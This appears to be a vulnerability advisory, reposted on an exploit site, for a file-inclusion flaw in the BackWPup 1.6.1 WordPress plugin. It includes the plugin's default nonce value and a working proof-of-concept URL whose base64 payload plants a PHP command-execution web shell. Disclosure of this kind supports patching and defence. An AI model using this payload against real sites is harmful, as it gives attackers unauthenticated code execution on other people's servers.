Wordpress plugin BackWPup Remote and Local Code Execution

Release Date.                  28-Mar-2011
Last Update.                   -
Vendor Notification Date.      25-Mar-2010
Product.                       Wordpress Plugin BackWPup
Platform.                      Independent
Affected versions.             1.6.1 (verified), possibly others
Severity Rating.               High
Impact.                        System Access
Attack Vector.                 Remote without authentication
Solution Status.               Upgrade to version 1.7.1
CVE reference.                 Not yet assigned
 
Details.
A vulnerability has been discovered in the Wordpress plugin BackWPup
1.6.1 which can be exploited to execute local or remote code on the web
server. The Input passed to the component "wp_xml_export.php" via the
"wpabs" variable allows the inclusion and execution of local or remote
PHP files as long as a "_nonce" value is known. The "_nonce" value
relies on a static constant which is not defined in the script meaning
that it defaults to the value "822728c8d9".
 
Proof of Concept.
wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PGZ
vcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2bIiBtZX          
Rob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4Ij48aW5wdXQgdHlwZT0  
ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVF
sneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d
 
Solution.
Upgrade to version 1.7.1




#  0day.today [2018-03-17]  #